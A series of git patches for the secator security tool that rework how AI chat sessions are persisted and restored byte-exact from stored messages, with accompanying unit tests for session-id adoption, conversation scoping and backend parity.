+ def _drive(self, fake_self, ctx, action): + from secator.tasks.ai import ai as AiTask + from secator.output_types import Ai as _Ai + + def _shell_ok(*a, **k): + # ai_type="shell_output" is required for the result to reach `collected` + # (see _dispatch_and_collect: Info/Stat/Progress/State are skipped + # entirely, and Ai results only collect for ai_type in + # ("shell_output", "response")). + yield _Ai(content="ok", ai_type="shell_output", _context={ + "tool_call_id": action["tool_call_id"], + "tool_call_name": action["tool_call_name"], + }) + + with patch("secator.ai.actions._handle_shell", _shell_ok): + gen = AiTask._dispatch_and_collect(fake_self, [action], ctx) + yielded = list(gen) + return yielded + + def test_tool_result_ai_emitted_matching_tool_call_id_and_content(self): + from secator.output_types import Ai + + ctx = MagicMock() + ctx.results = [] + action = { + "action": "shell", + "command": "echo hi", + "tool_call_id": "tc_ok", + "tool_call_name": "run_shell", + } + fake_self, _persisted = self._make_fake_self() + yielded = self._drive(fake_self, ctx, action) + + # The tool result was appended to LLM-visible history exactly once. + self.assertEqual(len(fake_self.history.tool_results), 1) + name, tc_id, tool_result_str = fake_self.history.tool_results[0] + self.assertEqual(tc_id, "tc_ok") + + # A matching tool_result Ai was yielded alongside the history append. + tool_result_ais = [r for r in yielded if isinstance(r, Ai) and r.ai_type == "tool_result"] + self.assertEqual(len(tool_result_ais), 1) + doc = tool_result_ais[0] + self.assertEqual(doc.message["role"], "tool") + self.assertEqual(doc.message["tool_call_id"], tc_id) + self.assertEqual(doc.message["name"], name) + # Byte-exact: same (truncated+encrypted) string that went to history, no re-processing. + self.assertEqual(doc.message["content"], tool_result_str) + + def test_tool_result_runner_id_from_group_result_context(self): + """runner_id is pulled from the collected result's own _context + (task_id/workflow_id/scan_id), stamped by the persistence hooks - + NOT from self.context.""" + from secator.output_types import Ai + + ctx = MagicMock() + ctx.results = [] + action = { + "action": "shell", + "command": "echo hi", + "tool_call_id": "tc_runner", + "tool_call_name": "run_shell", + } + fake_self, _persisted = self._make_fake_self() + + def _shell_with_task_id(*a, **k): + yield Ai(content="ok", ai_type="shell_output", _context={ + "tool_call_id": action["tool_call_id"], + "tool_call_name": action["tool_call_name"], + "task_id": "task-xyz", + }) + + with patch("secator.ai.actions._handle_shell", _shell_with_task_id): + from secator.tasks.ai import ai as AiTask + yielded = list(AiTask._dispatch_and_collect(fake_self, [action], ctx)) + + tool_result_ais = [r for r in yielded if isinstance(r, Ai) and r.ai_type == "tool_result"] + self.assertEqual(len(tool_result_ais), 1) + self.assertEqual(tool_result_ais[0].extra_data.get("runner_id"), "task-xyz") + + def test_tool_result_ai_emitted_on_error_paths(self): + """Malformed-JSON / unknown-tool / guardrail-denial error paths (in + _process_tool_calls) also emit a tool_result Ai, not just the success + path in _dispatch_and_collect.""" + from secator.tasks.ai import ai as AiTask + from secator.output_types import Ai + + class _FakeHistory: + def __init__(self): + self.tool_results = [] + + def add_tool_result(self, name, tc_id, content): + self.tool_results.append((name, tc_id, content)) + + fake_self = MagicMock() + fake_self.encryptor = None + fake_self.context = {} + fake_self.history = _FakeHistory() + fake_self.debug = MagicMock() + fake_self.dangerous = True # skip guardrails entirely; force the malformed-JSON path + + tc = MagicMock() + tc.id = "tc_bad_json" + tc.function.name = "run_shell" + tc.function.arguments = "{not json" + + ctx = MagicMock() + items = list(AiTask._process_tool_calls(fake_self, [tc], ctx)) + + self.assertEqual(len(fake_self.history.tool_results), 1) + _, tc_id, error_content = fake_self.history.tool_results[0] + + tool_result_ais = [i for i in items if isinstance(i, Ai) and i.ai_type == "tool_result"] + self.assertEqual(len(tool_result_ais), 1) + doc = tool_result_ais[0] + self.assertEqual(doc.message["role"], "tool") + self.assertEqual(doc.message["tool_call_id"], tc_id) + self.assertEqual(doc.message["content"], error_content) + + if __name__ == "__main__": unittest.main() From 0e9b75b0498cf11f00b95f60f468af033977258f Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 13:53:17 +0200 Subject: [PATCH 111/129] feat(ai): rebuild full transcript from persisted messages in restore_history_from_db Docs from Tasks 2-3 now carry a raw litellm `message` dict per turn (prompt, assistant-with-tool_calls, tool_result). restore_history_from_db appends these verbatim (already encrypted at persist time, so no re-encryption) in _timestamp order, reproducing tool_calls/tool_call_id pairing byte-exact instead of collapsing to text-only prompt/response. Docs without `message` (pre-upgrade) still fall back to the legacy text-only reconstruction, and orphan-tool repair still runs as a safety net. --- secator/ai/session.py | 55 +++++++++++++++------ tests/unit/test_ai_session.py | 93 +++++++++++++++++++++++++++++++++++ 2 files changed, 133 insertions(+), 15 deletions(-) diff --git a/secator/ai/session.py b/secator/ai/session.py index 3af15fe63..7f84d7430 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -187,27 +187,36 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None the conversation is rebuilt from the channel docs themselves (queried by ``session_id``, ordered by ``_timestamp``). - This is a **text-only** restore. Only the user turns (``ai_type="prompt"``) - and assistant turns (``ai_type="response"``) are reconstructed as litellm - ``user``/``assistant`` messages. Intermediate tool-call / tool-result - messages are NOT persisted as ``_type:"ai"`` docs (only their human-readable - action display is), so they cannot be replayed verbatim. Fabricating - assistant ``tool_calls`` messages without their matching ``tool`` results - would produce a malformed transcript that most providers reject, so we - deliberately collapse tool activity into the surrounding text turns. This is - sufficient for ``mode="chat"`` continuation (the assistant text already - summarises what it did); for ``mode="attack"`` the intermediate tool I/O is - not replayed. See the feature spec for the richer-persistence follow-up. + This is a **byte-exact** restore for docs carrying a raw litellm ``message`` + dict (persisted by Tasks 2-3 for every prompt/assistant/tool_result turn, + including tool_calls and tool_call_id pairing): the message is appended + verbatim, in ``_timestamp`` order, reproducing the exact transcript a live + run would have built. Persisted ``message.content`` is already encrypted + (the encryption happens at persist time, not at read time), so it is NOT + re-encrypted here — doing so would double-encrypt it. + + Docs from before this feature shipped don't carry a ``message`` field at + all (only the human-readable ``content`` used for the channel/report + display). Those fall back to the legacy **text-only** reconstruction: only + ``ai_type="prompt"``/``"response"`` docs become ``user``/``assistant`` + messages (re-encrypted here, since their plaintext ``content`` was never + encrypted at persist time), and intermediate tool-call/tool-result activity + is collapsed away (it was never captured verbatim pre-upgrade). + + Ordering assumption: a single session is either entirely message-carrying + (post-upgrade) or entirely legacy (pre-upgrade) — sessions aren't upgraded + mid-conversation. So it is safe to restore all message-docs first (in + their own timestamp order) and then append any legacy docs (in their own + timestamp order); within a real session only one of the two groups will be + non-empty, so this two-pass split never reorders an actual transcript. Args: session_id: The conversation's session id (UUID generated by the UI). query_engine: A ``QueryEngine`` (must resolve to the workspace Mongo backend for the docs to be visible). model: Optional LLM model name to set on the returned history. - encryptor: Optional ``SensitiveDataEncryptor``. Persisted docs hold - plaintext (response content is decrypted before it is yielded), so - when an encryptor is active we re-encrypt restored turns to keep the - in-memory convention (encrypted) consistent with a fresh run. + encryptor: Optional ``SensitiveDataEncryptor``, used only for the legacy + text-only fallback (message-docs are already encrypted verbatim). system_prompt: Optional system prompt to set as the first message. Returns: @@ -216,6 +225,7 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None """ from secator.ai.history import ChatHistory from secator.ai.encryption import maybe_encrypt + from secator.ai.utils import _repair_orphan_tool_uses, _strip_leading_orphan_tools history = ChatHistory(model=model) if system_prompt is not None: @@ -228,7 +238,18 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None return history docs = sorted(docs or [], key=lambda d: d.get('_timestamp', 0)) + legacy = [] # docs without a raw message (pre-upgrade) -> text-only fallback for doc in docs: + msg = doc.get('message') + if isinstance(msg, dict) and msg.get('role'): + # Byte-exact: the persisted message already holds encrypted content, so + # append verbatim (no re-encryption) — mirrors a fresh run's history. + history.messages.append(dict(msg)) + else: + legacy.append(doc) + + # Legacy docs (no message field): fall back to text-only prompt/response. + for doc in legacy: ai_type = doc.get('ai_type') content = doc.get('content', '') if not content: @@ -241,4 +262,8 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None # shell_output, summaries) are channel/UX artifacts, not conversation # turns — intentionally skipped for a valid litellm transcript. + # Guard against a partially-persisted turn producing an orphan tool result. + _repair_orphan_tool_uses(history.messages) + _strip_leading_orphan_tools(history.messages) + return history diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index 76d05f1f8..a268bf9da 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -89,6 +89,99 @@ def test_encryptor_reencrypts_restored_turns(self): history = restore_history_from_db("s6", engine, encryptor=encryptor) self.assertEqual(history.messages, [{"role": "user", "content": "ENC(scan 10.0.0.1)"}]) + def test_restore_rebuilds_full_transcript_from_message(self): + """A persisted user->assistant(tool_calls)->tool->assistant round-trip + restores byte-identically, with tool_call_id pairing intact.""" + from secator.ai.session import restore_history_from_db + docs = [ + {"_type": "ai", "ai_type": "prompt", "_timestamp": 1, + "message": {"role": "user", "content": "scan example.com"}, + "_context": {"session_id": "S"}}, + {"_type": "ai", "ai_type": "response", "_timestamp": 2, + "message": {"role": "assistant", "tool_calls": [ + {"id": "c1", "type": "function", "function": {"name": "run_task", "arguments": "{}"}}]}, + "_context": {"session_id": "S"}}, + {"_type": "ai", "ai_type": "tool_result", "_timestamp": 3, + "message": {"role": "tool", "tool_call_id": "c1", "name": "run_task", "content": "80/open"}, + "_context": {"session_id": "S"}}, + {"_type": "ai", "ai_type": "response", "_timestamp": 4, + "message": {"role": "assistant", "content": "port 80 is open"}, + "_context": {"session_id": "S"}}, + ] + + class FakeEngine: + def search(self, q, **k): + return docs + + h = restore_history_from_db("S", FakeEngine(), model="gpt-4o") + roles = [m["role"] for m in h.messages if m["role"] != "system"] + self.assertEqual(roles, ["user", "assistant", "tool", "assistant"]) + self.assertEqual(h.messages[-3]["tool_calls"][0]["id"], "c1") + self.assertEqual(h.messages[-2]["tool_call_id"], "c1") # pairs correctly + # Byte-exact: every field of every persisted message survives verbatim. + self.assertEqual(h.messages, [ + {"role": "user", "content": "scan example.com"}, + {"role": "assistant", "tool_calls": [ + {"id": "c1", "type": "function", "function": {"name": "run_task", "arguments": "{}"}}]}, + {"role": "tool", "tool_call_id": "c1", "name": "run_task", "content": "80/open"}, + {"role": "assistant", "content": "port 80 is open"}, + ]) + self.assertEqual(h.model, "gpt-4o") + + def test_restore_appends_copies_not_shared_doc_references(self): + """Mutating the restored history must not mutate the source doc's message dict.""" + from secator.ai.session import restore_history_from_db + doc_message = {"role": "user", "content": "scan example.com"} + engine = MagicMock() + engine.search.return_value = [ + {"_type": "ai", "ai_type": "prompt", "_timestamp": 1, "message": doc_message}, + ] + history = restore_history_from_db("s7", engine) + history.messages[0]["content"] = "mutated" + self.assertEqual(doc_message["content"], "scan example.com") + + def test_legacy_docs_without_message_field_fall_back_to_text_only(self): + """Pre-upgrade docs (no `message` field) still restore via the old + text-only prompt/response reconstruction.""" + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [ + {"ai_type": "prompt", "content": "legacy scan request", "_timestamp": 1}, + {"ai_type": "response", "content": "legacy scan result", "_timestamp": 2}, + ] + history = restore_history_from_db("s8", engine) + self.assertEqual(history.messages, [ + {"role": "user", "content": "legacy scan request"}, + {"role": "assistant", "content": "legacy scan result"}, + ]) + + def test_message_docs_are_not_reencrypted_on_restore(self): + """Persisted `message.content` is already encrypted at persist time — restore + must append it verbatim and NOT pass it through the encryptor again, whereas + the legacy text-only fallback still encrypts (its content was never encrypted + at persist time).""" + from secator.ai.session import restore_history_from_db + from secator.ai.encryption import SensitiveDataEncryptor + + encryptor = SensitiveDataEncryptor() + plaintext = "scan admin@example.com now" + already_encrypted = encryptor.encrypt(plaintext) + self.assertNotEqual(already_encrypted, plaintext) # sanity: encryption actually changed it + + engine = MagicMock() + engine.search.return_value = [ + {"_type": "ai", "ai_type": "prompt", "_timestamp": 1, + "message": {"role": "user", "content": already_encrypted}}, + ] + history = restore_history_from_db("s9", engine, encryptor=encryptor) + + # Verbatim: restored content matches the already-encrypted string exactly + # (re-encrypting placeholders would change/garble it further). + self.assertEqual(history.messages[0]["content"], already_encrypted) + # And it decrypts back to the original plaintext downstream, proving the + # round-trip survived restore intact. + self.assertEqual(encryptor.decrypt(history.messages[0]["content"]), plaintext) + class TestRemoteResumeBranch(unittest.TestCase): """Verify the yielder remote-resume branch picks Mongo restore vs fresh start.""" From 3848bf361db6cd66aae07060f63801afa3e5cf35 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 14:03:53 +0200 Subject: [PATCH 112/129] feat(ai): unify local resume through restore_history_from_db + adopt prior session_id Route the local `--resume` path (yielder's `self.resume` branch) through the same unified restore_history_from_db used by the remote (web) resume path, instead of the bespoke replay_session rebuild. The resumed run now adopts the picked session's session_id (stamped onto self.context too) so appended docs continue under the SAME conversation id -- previously local resume always minted a fresh str(self.id), so a re-resumed conversation could never correlate with its own prior turns. Ordering fix: restore_history_from_db needs self.system_prompt (to seed the history's system message) and self.model, but the resume branch runs before _detect_mode()/get_system_prompt() are reachable (self.prompt/self.mode aren't resolved yet -- there's no new prompt at resume time, it's asked interactively afterward via _prompt_and_redetect). Seed self.mode/system_prompt with the same "chat" default _detect_mode() falls back to when there's nothing to classify, mirroring _maybe_resume_remote's ordering (mode/system_prompt resolved before the restore call); the user's next answer re-detects the real mode and overwrites the system message regardless. list_sessions() now surfaces each session's session_id (first non-empty `_context.session_id` across its persisted ai docs) so the resume branch has something to adopt. replay_session is now unused (grepped: no other caller) but left in place in secator/ai/session.py per the task brief's option, since it also drove a console replay of past results that the new path intentionally drops (out of scope here -- restore_history_from_db only rebuilds the LLM-visible history, it doesn't re-print prior turns to the terminal). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/session.py | 11 +++ secator/tasks/ai.py | 26 +++++- tests/unit/test_ai_session.py | 147 ++++++++++++++++++++++++++++++++++ 3 files changed, 181 insertions(+), 3 deletions(-) diff --git a/secator/ai/session.py b/secator/ai/session.py index 7f84d7430..03118697d 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -61,6 +61,16 @@ def list_sessions(max_sessions=20): first_prompt = item.get('content', '') session_name = (item.get('_context') or {}).get('session_name', '') or (item.get('_context') or {}).get('name', '') break + # session_id: first non-empty `_context.session_id` across ALL ai docs + # (not just prompt docs) -- every persisted item stamps it (see + # ai.py:_init_options), so any doc suffices. Needed so a resumed run + # can adopt this session's id instead of minting a fresh one. + session_id = '' + for item in ai_items: + sid = (item.get('_context') or {}).get('session_id', '') + if sid: + session_id = sid + break info = data.get('info', {}) sessions.append({ 'folder': str(history_path.parent), @@ -68,6 +78,7 @@ def list_sessions(max_sessions=20): 'report_path': str(report_path), 'name': session_name, 'prompt': first_prompt, + 'session_id': session_id, 'targets': info.get('targets', []), 'timestamp': info.get('end_time') or info.get('start_time') or 0, 'mtime': history_path.stat().st_mtime, diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index a993f0b4c..e832e4570 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -24,7 +24,7 @@ load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue, MODES ) from secator.ai.tools import build_tool_schemas, tool_call_to_action, coerce_stringified_args, TOOL_SCHEMAS -from secator.ai.session import save_history, show_session_picker, replay_session, restore_history_from_db +from secator.ai.session import save_history, show_session_picker, restore_history_from_db from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status @@ -193,12 +193,32 @@ def yielder(self) -> Generator: if session is None: return self.session_name = session["name"] - self.history = replay_session(session) + # Adopt the prior conversation's session_id (instead of minting a fresh + # str(self.id)) so appended docs continue under it and a later resume + # can still find this run's turns via `_context.session_id`. + if session.get("session_id"): + self.session_id = session["session_id"] + self.context["session_id"] = self.session_id + self._reports_folder = session['folder'] + # restore_history_from_db seeds the system message from `system_prompt` + # (unlike the old replay_session, which loaded history.json verbatim, + # system prompt included). No new prompt exists yet at this point (it's + # asked interactively below), so seed the same "chat" default + # `_detect_mode()` falls back to when there's nothing to classify; the + # user's next answer re-detects the real mode via `_prompt_and_redetect` + # -> `_detect_mode(force=True)`, which overwrites the system message in + # history regardless (mirrors `_maybe_resume_remote`'s ordering: mode / + # system_prompt resolved before the restore call). + self.mode = self.mode or "chat" + self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) + self.history = restore_history_from_db( + self.session_id, self._get_query_engine(), + model=self.model, encryptor=self.encryptor, system_prompt=self.system_prompt) if self.history is None: yield Error(message="Failed to restore session.") return self.history.model = self.model - self._reports_folder = session['folder'] result = self._prompt_and_redetect([]) if result is None: self._save_history() diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index a268bf9da..808ee26c0 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -525,6 +525,153 @@ def test_stamp_matches_restore_query_key(self): self.assertEqual(item_context.get("session_id"), task.session_id) +class TestLocalResumeAdoptsSessionId(unittest.TestCase): + """Task 5: a resumed LOCAL run (yielder's `self.resume` branch) adopts the + picked session's session_id and rebuilds history via the unified + restore_history_from_db over the local query engine -- not the bespoke + replay_session, which mints a fresh str(self.id) and can't correlate a + re-resumed conversation's appended docs with the prior ones.""" + + def _make_task(self, model="gpt-4o"): + from secator.tasks.ai import ai + + task = ai.__new__(ai) + task.inputs = [] + task.results = [] + task.run_opts = {"resume": True} + task.sync = True + task._reports_folder = tempfile.mkdtemp(prefix="secator-test-") + task.context = {"workspace_id": "ws1"} + task.debug = MagicMock() + + opt_values = { + "resume": True, "subagent": False, "model": model, "intent_model": "im", + "api_base": None, "api_key": "k", "sensitive": False, "mode": "", + "max_tokens_total": 100000, "max_workers": 1, "max_iterations": 10, + "temperature": 0.7, "context_warnings": True, "async_tasks": False, + "dangerous": False, "interactive": "local", + } + task.get_opt_value = lambda key: opt_values.get(key) + + # Stub the local (JSON) query engine _get_query_engine() would build. + engine = MagicMock() + task._get_query_engine = MagicMock(return_value=engine) + + # Short-circuit right after the resume block adopts session_id + restores + # history: declining the interactive "what's next?" prompt (as if the user + # cancelled) ends the run cleanly, so the full _run_loop is out of scope. + task._prompt_and_redetect = MagicMock(return_value=None) + task._save_history = MagicMock() + + return task, engine + + def _patches(self): + from secator.tasks.ai import ai + return ( + patch('secator.tasks.ai.PermissionEngine'), + patch('secator.tasks.ai.create_backend'), + patch('secator.tasks.ai.SensitiveDataEncryptor'), + patch.object(ai, '_auto_approve_workspace_targets'), + patch('secator.tasks.ai.get_system_prompt', return_value='SYS'), + patch('secator.tasks.ai.build_tool_schemas', return_value=[]), + ) + + @patch('secator.tasks.ai.show_session_picker') + @patch('secator.tasks.ai.restore_history_from_db') + def test_resume_adopts_prior_session_id_and_uses_unified_restore(self, mock_restore, mock_picker): + prior_folder = tempfile.mkdtemp(prefix="secator-test-prior-") + mock_picker.return_value = {"name": "prior chat", "folder": prior_folder, "session_id": "PRIOR-SESSION"} + mock_history = MagicMock() + mock_restore.return_value = mock_history + + task, engine = self._make_task() + + with contextlib.ExitStack() as stack: + for p in self._patches(): + stack.enter_context(p) + list(task.yielder()) + + # Adopted the picked session's id (not a freshly-minted str(self.id)), + # and stamped it back onto the context (every persisted item copies + # self.context into its `_context`, so this is what makes appended docs + # queryable by `_context.session_id` under the SAME id going forward). + self.assertEqual(task.session_id, "PRIOR-SESSION") + self.assertEqual(task.context["session_id"], "PRIOR-SESSION") + + # Restored via the unified restore over the LOCAL query engine, keyed by + # the adopted session_id -- not replay_session's bespoke rebuild. + mock_restore.assert_called_once() + args, kwargs = mock_restore.call_args + self.assertEqual(args[0], "PRIOR-SESSION") + self.assertIs(args[1], engine) + self.assertEqual(kwargs.get("model"), "gpt-4o") + self.assertIs(task.history, mock_history) + + +class TestListSessionsSurfacesSessionId(unittest.TestCase): + """list_sessions() must surface each session's session_id (read from its + report.json ai docs' `_context.session_id`, first non-empty) so the local + resume branch has something to adopt (Task 5).""" + + def _write_session(self, tmp_root, ai_items, info=None): + import json as _json + from pathlib import Path + + task_dir = Path(tmp_root) / 'ws1' / 'tasks' / 'task1' + task_dir.mkdir(parents=True) + (task_dir / 'history.json').write_text('[]') + report = {"info": info or {}, "results": {"ai": ai_items}} + (task_dir / 'report.json').write_text(_json.dumps(report)) + return str(task_dir / 'history.json') + + @patch('secator.ai.session.glob.glob') + def test_list_sessions_includes_session_id(self, mock_glob): + from secator.ai.session import list_sessions + + tmp_root = tempfile.mkdtemp(prefix="secator-test-reports-") + history_path = self._write_session(tmp_root, [ + {"ai_type": "prompt", "content": "hello", "_context": {"session_name": "hi", "session_id": "SESSION-XYZ"}}, + {"ai_type": "response", "content": "hi there", "_context": {"session_id": "SESSION-XYZ"}}, + ]) + mock_glob.return_value = [history_path] + + sessions = list_sessions() + + self.assertEqual(len(sessions), 1) + self.assertEqual(sessions[0]["session_id"], "SESSION-XYZ") + + @patch('secator.ai.session.glob.glob') + def test_list_sessions_session_id_falls_back_to_first_non_empty(self, mock_glob): + """The prompt doc itself may carry no session_id (pre-stamp docs); scan + ALL ai docs and take the first non-empty one, not just the prompt doc.""" + from secator.ai.session import list_sessions + + tmp_root = tempfile.mkdtemp(prefix="secator-test-reports-") + history_path = self._write_session(tmp_root, [ + {"ai_type": "prompt", "content": "hello", "_context": {}}, + {"ai_type": "response", "content": "hi there", "_context": {"session_id": "SESSION-ABC"}}, + ]) + mock_glob.return_value = [history_path] + + sessions = list_sessions() + + self.assertEqual(sessions[0]["session_id"], "SESSION-ABC") + + @patch('secator.ai.session.glob.glob') + def test_list_sessions_session_id_empty_when_absent(self, mock_glob): + from secator.ai.session import list_sessions + + tmp_root = tempfile.mkdtemp(prefix="secator-test-reports-") + history_path = self._write_session(tmp_root, [ + {"ai_type": "prompt", "content": "hello", "_context": {}}, + ]) + mock_glob.return_value = [history_path] + + sessions = list_sessions() + + self.assertEqual(sessions[0]["session_id"], '') + + class TestAddAssistantToHistory(unittest.TestCase): """_add_assistant_to_history must build + append the litellm message to chat history AND return that exact dict, so the caller (the response emission in From e93b1513d880ee1276a201f034da06607096cd08 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 14:18:11 +0200 Subject: [PATCH 113/129] test(ai): scoping, cross-backend & size-backstop coverage for unified restore Task 6 (final) of unified AI session restore: proves the integration guarantees end-to-end. - Scoping: a fake engine that actually applies the `_context.session_id` filter to a mixed doc list of two conversations, proving zero cross-bleed between restore_history_from_db("A", ...) and ("B", ...). - Cross-backend: writes a real report.json under a temp reports dir and restores through a real QueryEngine -> JsonBackend, asserting the same round-trip as the fake-engine path. - Size backstop: an oversized assistant content is capped by cap_message before persist and still restores into a valid, correctly-ordered transcript. - UI safety: Ai(ai_type="tool_result", ...) (and any other ai_type unknown to AI_TYPES) already renders safely via __repr__'s existing fallback (AI_TYPES.get(ai_type, {default})) - no production change was needed; locked in with tests covering str()/repr()/console.print(). Also fixes a stale test stub: test_ai_interactivity.py's test_remote_max_iter_does_not_strand_pending_doc stubbed _add_assistant_to_history to return None, which was harmless before Task 2 (the call site discarded the return value) but broke once the caller started feeding that return value into cap_message(dict) for persistence - the resulting TypeError was silently caught by _run_loop's generic exception handler, masking the test's real assertions. Updated the stub to return a dict, matching the now-real `-> dict` contract. Full suite: 125 failed / 1086 passed, failing-test-name set byte-identical to the origin/ai-resiliency baseline (0 new regressions). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- tests/unit/test_ai_interactivity.py | 7 +- tests/unit/test_ai_session.py | 184 ++++++++++++++++++++++++++++ tests/unit/test_output_types.py | 53 ++++++++ 3 files changed, 243 insertions(+), 1 deletion(-) diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 541e1bc03..1740c08e7 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -514,7 +514,12 @@ def _empty_gen(*a, **k): fake_self._summarize_user = _empty_gen fake_self._drain_history_usage = lambda: None fake_self._account_usage = lambda u: None - fake_self._add_assistant_to_history = lambda c, t: None + # _add_assistant_to_history now returns the litellm message dict (the + # caller feeds it to cap_message(...) for persistence); the stub must + # match that contract instead of returning None -- a bare None broke + # cap_message's dict(msg) call and masked this test's real assertions + # behind a swallowed exception. + fake_self._add_assistant_to_history = lambda c, t: {"role": "assistant", "content": c} fake_self._save_history = lambda: None def _fake_process(tool_calls, ctx): diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index 808ee26c0..12f329800 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -183,6 +183,190 @@ def test_message_docs_are_not_reencrypted_on_restore(self): self.assertEqual(encryptor.decrypt(history.messages[0]["content"]), plaintext) +class TestRestoreScopingIsolation(unittest.TestCase): + """Task 6 Step 1: restore_history_from_db must be scoped to a single + conversation even when the underlying store holds docs from several. The + scoping key is `_context.session_id` (see restore_history_from_db's query), + so this uses a fake engine that ACTUALLY applies that filter to a MIXED doc + list of two conversations -- not a MagicMock stub that always returns a + fixed set regardless of the query -- to prove zero cross-bleed end to end.""" + + class _FilteringEngine: + """Fake engine standing in for a real backend: applies the caller's + `_context.session_id` filter (and `_type` filter) to `docs`, exactly the + way JsonBackend/MongoDBBackend would.""" + + def __init__(self, docs): + self.docs = docs + self.calls = [] + + def search(self, query, **kwargs): + self.calls.append(query) + wanted_session = query.get('_context.session_id') + wanted_type = query.get('_type') + return [ + d for d in self.docs + if (wanted_type is None or d.get('_type') == wanted_type) + and (wanted_session is None or (d.get('_context') or {}).get('session_id') == wanted_session) + ] + + def _mixed_docs(self): + """Two interleaved conversations, A and B, in one combined doc list.""" + return [ + {"_type": "ai", "ai_type": "prompt", "_timestamp": 1, + "message": {"role": "user", "content": "A: scan host1"}, + "_context": {"session_id": "A"}}, + {"_type": "ai", "ai_type": "prompt", "_timestamp": 1, + "message": {"role": "user", "content": "B: scan host2"}, + "_context": {"session_id": "B"}}, + {"_type": "ai", "ai_type": "response", "_timestamp": 2, + "message": {"role": "assistant", "content": "A: host1 has port 80 open"}, + "_context": {"session_id": "A"}}, + {"_type": "ai", "ai_type": "response", "_timestamp": 2, + "message": {"role": "assistant", "content": "B: host2 has port 443 open"}, + "_context": {"session_id": "B"}}, + {"_type": "ai", "ai_type": "prompt", "_timestamp": 3, + "message": {"role": "user", "content": "A: anything else?"}, + "_context": {"session_id": "A"}}, + ] + + def test_restore_isolates_session_a_from_mixed_docs(self): + from secator.ai.session import restore_history_from_db + engine = self._FilteringEngine(self._mixed_docs()) + + history = restore_history_from_db("A", engine, model="gpt-4o") + + self.assertEqual(history.messages, [ + {"role": "user", "content": "A: scan host1"}, + {"role": "assistant", "content": "A: host1 has port 80 open"}, + {"role": "user", "content": "A: anything else?"}, + ]) + # No content from B leaked into A's transcript. + for msg in history.messages: + self.assertNotIn("B:", msg["content"]) + # The engine was actually called with the session-scoping filter. + self.assertEqual(engine.calls, [{"_type": "ai", "_context.session_id": "A"}]) + + def test_restore_isolates_session_b_from_mixed_docs(self): + from secator.ai.session import restore_history_from_db + engine = self._FilteringEngine(self._mixed_docs()) + + history = restore_history_from_db("B", engine, model="gpt-4o") + + self.assertEqual(history.messages, [ + {"role": "user", "content": "B: scan host2"}, + {"role": "assistant", "content": "B: host2 has port 443 open"}, + ]) + for msg in history.messages: + self.assertNotIn("A:", msg["content"]) + self.assertEqual(engine.calls, [{"_type": "ai", "_context.session_id": "B"}]) + + +class TestRestoreCrossBackend(unittest.TestCase): + """Task 6 Step 2: restore_history_from_db must round-trip identically + whether the docs come from a mocked engine or a REAL local backend + (JsonBackend via QueryEngine reading an on-disk report.json). Proves the + restore logic itself -- not just the mock plumbing -- is backend-agnostic.""" + + def test_restore_from_real_json_backend_matches_fake_engine_path(self): + import json as _json + import tempfile as _tempfile + from pathlib import Path + from secator.query import QueryEngine + from secator.query.json import JsonBackend + from secator.ai.session import restore_history_from_db + + tmp = _tempfile.mkdtemp(prefix="secator-test-reports-") + # No hyphens/spaces: sanitize_folder_name would otherwise rewrite the + # workspace directory name and the test would look in the wrong place. + workspace_name = "wscrossbackend" + task_dir = Path(tmp) / workspace_name / "tasks" / "task1" + task_dir.mkdir(parents=True) + + session_id = "CROSS-SESSION-1" + ai_items = [ + {"_type": "ai", "ai_type": "prompt", "_timestamp": 1, + "message": {"role": "user", "content": "scan example.com"}, + "_context": {"session_id": session_id}}, + {"_type": "ai", "ai_type": "response", "_timestamp": 2, + "message": {"role": "assistant", "content": "port 80 is open"}, + "_context": {"session_id": session_id}}, + ] + report = {"results": {"ai": ai_items}} + (task_dir / "report.json").write_text(_json.dumps(report)) + + # Resolve a real QueryEngine down to the real JsonBackend, then apply the + # backend's documented reports_dir override (JsonBackend.__init__ accepts + # config={'reports_dir': ...}; QueryEngine doesn't forward a `config` kwarg + # of its own, so the override is applied directly on the resolved backend + # instance -- same effect, same attribute the constructor would have set). + engine = QueryEngine( + workspace_id=workspace_name, + context={"drivers": ["local"], "workspace_name": workspace_name}, + ) + self.assertIsInstance(engine.backend, JsonBackend) + engine.backend.reports_dir = Path(tmp) + + history = restore_history_from_db(session_id, engine, model="gpt-4o") + + expected = [ + {"role": "user", "content": "scan example.com"}, + {"role": "assistant", "content": "port 80 is open"}, + ] + self.assertEqual(history.messages, expected) + + # Same round-trip via a fake engine over the identical doc list -> proves + # parity between the real local backend and the mock/fake path. + class FakeEngine: + def search(self, query, **kwargs): + return ai_items + + fake_history = restore_history_from_db(session_id, FakeEngine(), model="gpt-4o") + self.assertEqual(history.messages, 